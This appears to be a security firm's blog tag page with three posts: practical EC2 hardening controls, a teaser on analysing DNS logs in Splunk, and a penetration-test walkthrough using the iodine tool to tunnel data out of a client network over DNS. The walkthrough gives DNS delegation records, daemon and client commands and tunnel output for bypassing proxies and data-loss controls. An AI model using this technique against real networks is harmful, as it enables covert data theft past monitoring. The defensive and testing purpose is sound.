Posts Tagges "network security"

13 Practical and Tactical Cloud Security Controls in EC2


Cloud Security

Most cloud security blog posts, news articles, and other guidance found online address risks such as governance, contract language, forensics, and other higher-level topics. There isn’t a lot of tactical information that gives actionable advice on what you should be doing today to mitigate cloud-specific risks. Here at Stratum Security, most of our customers have some part of their infrastructure or corporate applications in some sort of cloud or outsourced hosting provider. Additionally, our ThreatSim SaaS is hosted entirely within Amazon’s Web Services (AWS) Elastic Computing Cloud (EC2). In this post I’ll list some of the things we’re doing to protect our own data in EC2.

I won’t spend too much time discussing the legal and contractual issues with the cloud. They are not too different from non-cloud outsourced hosting risks. There is a ton of resources and commentary available online that addresses this. It comes down to this: the stuff you care about, your data and availability of that data, lives and sleeps in someone else’s house. Yes, you own the data but it’s not 100% under your organization’s control. The biggest technical difference (among others) of having your data live in someone else’s data center or cloud is that you lose control over the hardware, and in some cases software, that stores, processes, and transmits your data.

If you are hosted on a cloud platform, you may share certain hardware components with other customers (e.g. the hypervisor). You need to understand what you can protect, where you lose visibility, and where you need/can apply extra security sauce.

Let me preface these recommendations with the following caveats:

  • This will be focused on EC2, and Infrastructure as a Service (IaaS) provider.
  • We’re an information security company with a niche SaaS solution. Our data may be more sensitive than your data.
  • Our recommendations are focused on security first, not necessarily performance. This is no one-size-fits-all.

As such, not all of the recommendations below are suited for every organization – but there are some controls that everyone can and should implement.

Below are a sampling of security controls we’ve implemented in our cloud.  While they are specific to Amazon EC2, most will apply to other IaaS services:

1. Use a Virtual Private Cloud (VPC)
EC2’s “public” instances are essentially all on one big 10.x.x.x network. When you launch a new instance, it is stood up on some random 10.x.x.x IP address. By default EC2 security groups prevent other instances from talking to your machine unless you start opening things up. We launch all of our instances inside our own VPC so that all of our instances are on a specific network subnet (It’s a class B) that we defined. We have two different subnets within our VPC:

  • DMZ – Contains boxes that have something open to the Internet (e.g. web servers, mail servers, jump box, etc.)
  • Private – Servers that store sensitive information and don’t have a need to be exposed at all to the Internet such as our MySQL servers. The machines in the DMZ each have an elastic IP associated with them, the machines on the private network do not.

The use of a VPC has several advantages:

  • You don’t need to keep track of a big list of transient EC2 10.x.x.x IP addresses that may change as you start/stop instances.
  • Security groups within VPCs give you the ability to do egress (outbound) filtering; something that non-VPC security groups do not support.
  • Organization. If your DMZ is the and your private range is it’s easy to tell what is what.

It’s easier to configure IP range security settings. For example, if you need to allow syslog (514/udp) from your DMZ to your central logging machine, you can easily permit rather than have to allow specific public cloud IPs.

Amazon Virtual Private Cloud Documentation

2. Create a DMZ and a Private Network Within Your VPC
The DMZ model has been in use forever for a simple reason: if your servers that are exposed to the dirty Internet are ever compromised, it limits the scope of where the attacker can go to (usually) one or two ports (e.g. SQL). This is a relatively “low cost” control for most applications and has been an accepted architecture forever.

3. Create Security Groups for Each Instance
Security groups are essentially simple firewall rules configured within Amazon’s hypervisor. Security groups are assigned to the instance at launch and cannot be changed later. That said, we created specific security groups for every instance in our environment with the exception of our landing web servers. Our landing servers are replicas of each other so it’s not a big deal to have a “one-size-fits-all” security group there. But our jump box, database servers, mail servers, etc. all have security groups named after the specific instances (e.g. mysql01, mailer02, etc.). This allows us the flexibility to apply very granular rules to every instance without having to worry about an unintended consequence of a security group change that has been applied to several instances.

Amazon Security Groups Documentation

4. Use A Jump Box to Access Your VPC
There’s likely no legitimate reason that every single instance needs SSH exposed to the Internet. If you have 10 instances, that’s 10 perimeters to worry about. Essentially this is a choke point that all administrative SSH access must use to get into the VPC. Once the user is on the jump box, he can then SSH into everything else within the VPC using SSH keys. The jump box is configured so that it is only able to SSH to other specific IP addresses within our VPC. All user actions are logged and only specific users have sudo rights. Furthermore, instances within the VPC are not allowed to connect to each other. All SSH access must be done via the jump box. This way, if something in the DMZ is compromised, the attacker won’t be able to hop to other devices within the DMZ subnet.

Since the security of this server is so important to the security of our environment we pile on several layers of security here. First, in order to login to this instance the user must be coming from a specific IP address. Second, the user must have a valid SSH key. Third, all users must use two-factor authentication (more on this next). We also do a lot of system level hardening that I won’t go into detail on here.

5. Use Two Factor Authentication on Your Jump Box
Just to be clear: passwords suck, are awful, and should never be the single thing between the Internet and critical data. Passwords of all length and complexity are lost, stolen, forgotten, guessed, key logged, reused, and cracked. There’s no reason that critical data should be protected with ONLY a password. Facebook, Gmail, Dropbox, and even our own ThreatSim service all support some form of two-factor authentication. Why would you not protect administrative access to your environment with at least the same effort as your Facebook account?

We use Duo Security for our two-factor solution. It’s free if you have 10 users or less and works great. One of Duo’s founders is Dug Song (of dsniff fame) who has a high degree of security street cred. For our setup, Duo has a Linux SSH module that sends me a push notification to my phone right after I successfully authenticate with my SSH key. If I approve the authentication request I press “Approve” in the Duo app and my terminal passes me to my shell. Duo is available for iOS, Android, Blackberry, etc. If you lose your laptop with your SSH keys, the attacker must have your phone in order to authenticate via SSH.

You can also use Google Authenticator with a PAM module if you want to go that route. You don’t need to buy SecurIDs for everyone. There’s a lot of easy ways to do this.

6. Restrict SSH Access To Your Jump Box With Security Groups
Lots of developers folks love to have SSH open to the entire Internet for emergency or remote support. The problem is that right at this very moment, as you are reading this, there is likely a non-public exploit for SSH being used by bad guys. By allowing the entire Internet access to your SSH port there is nothing stopping an attacker from exploiting your machine. At least if you only allow very specific IP addresses in your security groups you’d be protected. Or, if an attacker gets ahold of your SSH key (hacked/lost/stolen laptop, etc.) at least your instance (e.g. jump box) would be protected by an IP restriction.

Are you always on the go or have an often-changing dynamic IP? Try to get a static IP from your provider. Or, update your security group every time your IP changes. Yes, it’s a little bit of a pain but not as big of a pain of having your entire EC2 environment compromised.

7. Use Outbound Security Groups
This one isn’t always easy to implement but bear with me. There is no reason why highly critical servers within your VPC should be able to initiate a FTP connection to any server on the Internet. There isn’t. For example, would you consider it acceptable for your database server containing all of your customer data to make an outbound FTP connection to a server in China? What about IP ranges in Russia where the Russian Business Network is hosted? It’s better to use egress rules and only allow specific ports and protocols out to specific hosts. Here’s why: If an attacker ever does make it all the way into your database server within the VPC, why make it easy for him to transfer a dump of your database back to his server. Yes, you will need to allow your devices out to specific IPs on the Internet for patches, updates, NTP, etc. But that’s a short list that is worth making and maintaining.

8. Enable EC2’s Two-Factor Authentication for EC2 Console Access
Earlier I talked about using two-factor on SSH and a bunch of other good stuff. None of it matters if someone can just guess your Amazon password (yes, the same one you use to order a ton of tube socks with free shipping), and login to your AWS account. Amazon supports hardware tokens as well as Google Authenticator so that when your AWS password is compromised, the bad guys would need your hardware token or phone to access your account. There is no excuse to not do dual-factor on your AWS login.

9. Use a Host-Based Intrusion Detection System (HIDS)
One thing you lose when hosting your app on EC2 is visibility into the network. Amazon doesn’t give you a span port to run your IDS to watch for bad things happening over the wire. That said, we still want to have visibility into anomalies and incidents within our environment. Enter OSSEC. OSSEC is a free HIDS that monitors system logs and events for events that match a known signature. The events are sent in real-time to a central OSSEC server that then sends the events to our operations personnel via email who can review the reports in real-time. For example we know when the md5 checksum of critical system binaries change, new users are added, or when our syslog shows something strange going on (e.g. segfaults, daemons starting/stopping, hardware problems).

10. Use A Central Log Server
We tested several open source and commercial log collection solutions and ended up pressing the “Easy Button” and going with Splunk. We considered using Log Stash but it was more complex than Splunk and required us to monitor and manage several different processes (redis, elastic search, java, etc.). I won’t waste blog space extolling the virtues of Splunk, but it’s great for collecting or correlating log events across our entire infrastructure. We use it for troubleshooting, security event investigations, etc. From a security standpoint, if a machine gets compromised, you can obviously no longer trust it. At least if it was sending logs in real-time to a centralized server you can go to Splunk and figure out what is going on.

11. Encrypt Sensitive Disk Volumes
This is a big one. Most organizations now use full-disk hard drive encryption on laptops. Why? Because laptops (and the hard drives they contain) are not physically in your direct control and may be stolen or seized without your knowledge since they aren’t locked in the data center down the hall. Virtual disk volumes in the cloud are arguably more difficult to protect because they are virtual – they can live in many places at the same time and be cloned within seconds. It is for this reason that every organization that stores data in the cloud should consider using disk encryption. Several solutions exist including native OS disk crypto as well as SaaS disk encryption providers.

The first thing to do is to think about what information needs to be encrypted. Sometimes it is obvious, like MySQL database files, customer documents, etc. Depending on the nature of your application is may include things like email logs that contain email addresses, Splunk logs, HIDS logs, application logs. All of these may contain fragments of sensitive information that require protection.

For Ubuntu, this is a great article that contains step-by-step directions on how to set up disk encryption in EC2.

One seemingly obvious mistake that many people make is storing the key in the cloud along with the encrypted data. This is like locking your door and then taping the key on the lock. The whole point is to make it so if an attacker gets ahold of your EBS volume that they can’t mount or read the drive. Since you can’t store the key in the cloud this means that you can’t add your encrypted volume to /etc/fstab where it will be automatically mounted at boot. Since Amazon doesn’t allow console access, you will have to mount the drive manually after boot. This obviously impacts the resilience of your application as an unscheduled (or scheduled) reboot requires human intervention to enter the key and mount the volume.

Disk encryption and key management is complex and requires a great deal of planning that deserves its own blog post. Another issue not discussed here is more complex distributed file systems and the impact of encryption on performance.

12. Alert On Application Errors
If you are running an application that is exposed to the Internet you should be logging and alerting on application errors. One of the challenges with application security is that applications hide malice. Meaning that if someone is attacking your application in a subtle way (flipping URL parameters for example) it may not match a signature that your IDS/IPS/HIDS may catch. Or if an attacker makes your application do something out of the ordinary, the application may not generate an exception that is useful or obvious. If a user changes accountID=123 to accountID=124, is that malicious? Will the application tell you that someone is poking around? Since we’re a security company, we worked closely with our developers to build in application errors that tell us when someone is up to no good.

We use the open source Errbit that lets us know when something odd happens with our application. Errbit isn’t a security tool by design but provides valuable and actionable security information. All Errbit errors are forwarded in real-time to our operations folks who can evaluate if it was just a benign, anomalous error or something more sinister. For example, if a user attempts to access an application resource that they do not have access to, we receive notification. We have it tuned so that we only see alerts where  someone intentionally tampers with our application.

13. Internal and External Vulnerability Scanning
We perform regular internal external scanning of our infrastructure using Nessus. For the internal scanning we provide our scanner with an SSH key for authenticated (aka credentialed) scans that allows us to ensure that all devices have up to date patches and are configured properly. For external scanning not only do we scan exposed services for vulnerabilities but we also ensure that our security groups are configured as expected and there aren’t any surprises.

Analyzing DNS Logs Using Splunk


Back in December of 2011 I wrote a post on the ThreatSim blog called “Fighting The Advanced Attacker: 9 Security Controls You Should Add To Your Network Right Now“. One of the controls we recommended that folks implement was to log all DNS queries and the client that requested it:

Log DNS queries and the client that requested it: It’s been said that DNS is the linchpin of the Internet. It’s arguably the most basic and under appreciated human-to-technology interface. It’s no different for malware. When you suspect that a device has been compromised on your network, it’s important to be able to see what the suspected device has been up to. The DNS logs of a compromised machine will quickly allow responders to identify other machines that may also be infected.

Telling people to log DNS requests is super easy. Logging DNS queries is pretty easy too. Understanding how to ingest, analyze, process the data is where you need to bring in some tools. We love Splunk (as do many of our customers).  Splunk is the perfect tool for the job of figuring out what your clients are up to and who they are talking to. You can also set up real-time alerts if Splunk sees a DNS lookup for a known bad domain name.

Let’s implement our recommendation in real life. Here is what we did:

Read More

Data Exfiltration with Iodine


Recently I was working on a project with Nate where we were trying to circumvent our client’s internal network controls in order to send “sensitive” data out of the company via the Internet. While our client’s internal network controls weren’t the absolute best we’d ever seen, they were pretty close. Proxy with SSL termination, strong outbound FW rules, and your choice of the latest and greatest technologies aimed at preventing data exfiltration (DLP, IPS, etc.) were between us and our objective. After banging our heads against the wall, we remembered tinkering with DNS tunneling a couple of years back. A quick Google search led us to the iodine tool. iodine allows you to tunnel IPv4 data through a DNS server, provided you have access to a preconfigured server running the iodine daemon. We quickly tested our client’s internal DNS configuration by performing a NSLOOKUP of a random hostname (iodinetest) against one of our wildcarded domain names ( When we received the expected response, we knew we may be in luck. The most time consuming part of setting up iodine is the configuration of your DNS servers. In order to get iodine working, you need to setup a new subdomain, such as, and delegate DNS requests for the subdomain to your external host running iodined ( To set this up in BIND, you would simply enter the following into your configuration:

iodinens     IN     A      X.X.X.X
tunnel       IN     NS

Fortunately for us, we were packing a Virgin Mobile MiFi, so we quickly installed the iodine package on one of our external boxes (sudo apt-get install iodine in Ubuntu) while we waiting for the DNS to propagate. You also need to setup any firewall(s) you may have infront of your external server, such that 53/udp is forwarded to the server that will run the iodine daemon (and was also delegated control of your tunneling subdomain). After we confirmed that our DNS was properly setup and responding, we fired up the iodine daemon on our external server by issuing the following command:

sudo iodined -f -c -P sharedsecret

A handy little utility provided by the iodine authors allows you to test your DNS, firewall, and iodine setting all in one. The utility is available at We tested our configuration by entering into the textbox, and having the utility confirm our settings. When testing your server using this utility, make sure you do NOT set a shared-secret password or else it will not work. Simply remove the -P and the shared-secret from the above command and it will work as expected.

iodine Check-It

Once we knew the DNS, firewall, and server were all working properly, it was time to focus on the client. On the Windows XP system we were running, we installed the Win32 binaries and configured the TAP32 interface as described in the README. We had to download an additional set of drivers from OpenVPN to setup the TAP32 interface. The drivers are available here. While version 0.6.0-rc1 of iodine is the latest as of this post, it is recommended that you run the same version of the client as you do the server. The Ubuntu package we installed from the repository was version 0.5.1, so that is the version of the client we installed on our Windows XP box. Make sure you remember to rename the TAP32 interface to ‘dns’ or it will not work.

TAP32 iodine Interface

Now that the TAP32 interface was properly configured, running iodine is as simple as entering the following into the CLI:


If you can communicate directly with DNS servers residing on the Internet, then you do not need to input the local DNS server’s IP address. However, in our case all of our DNS queries first went to local DNS servers, and were then passed on to forwarding server. As such, we had to tell iodine to use the internal DNS server we were provided with via DHCP,, via the first argument. To determine if you can query DNS servers residing on the Internet directly, run NSLOOKUP and set the server to OpenDNS ( In Windows, that would be,

Default Server:

> server
Default Server:


Non-authoritative answer:

If you receive a response to the ‘server’ command that is not a timeout, you can communicate directly with DNS servers residing on the Internet. Otherwise, you are most likely forced to use Internal DNS servers. Once you execute the command, and enter your shared-secret password when prompted, you should see something akin to the following:

Opening device \\.\Global\{A6F38920-A0E1-41B6-B57B-EE75005AA49F}.tap
Opened UDP socket
Opened UDP socket
Opened UDP socket
Version ok, both using protocol v 0x00000500. You are user #0
Enabling interface 'dns'
Setting IP of interface 'dns' to (can take a few seconds)...
Switching to Base64 codec
Server switched to codec Base64
Autoprobing max downstream fragment size... (skip with -m fragsize)
768 ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.1152 not ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.960 not ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.864 not ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.816 not ok.. 792 ok.. 804 ok.. will use 804
Setting downstream fragment size to max 804...
Sending queries for to
Windows version does not support detaching

Now go ahead and open up another CLI and try pinging your server’s IP, You should see something like,

Pinging with 32 bytes of data:
Reply from bytes=32 time=103ms TTL=64
Reply from bytes=32 time=103ms TTL=64
Reply from bytes=32 time=103ms TTL=64
Reply from bytes=32 time=101ms TTL=64
Ping statistics for
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 101ms, Maximum = 103ms, Average = 102ms
Believe it or not, you are all set. Now that you have a tunnel back to your remote server, you can do whatever you please. Send/receive files, setup a proxy, anything. Not too bad for not having any direct access to the Internet! Needless to say our client was very interested in this exfiltration method.
P.S. - iodine is named iodine for IP-over-DNS and because iodine is the 53rd element on the periodic table (53/udp and 53/tcp are standard DNS ports).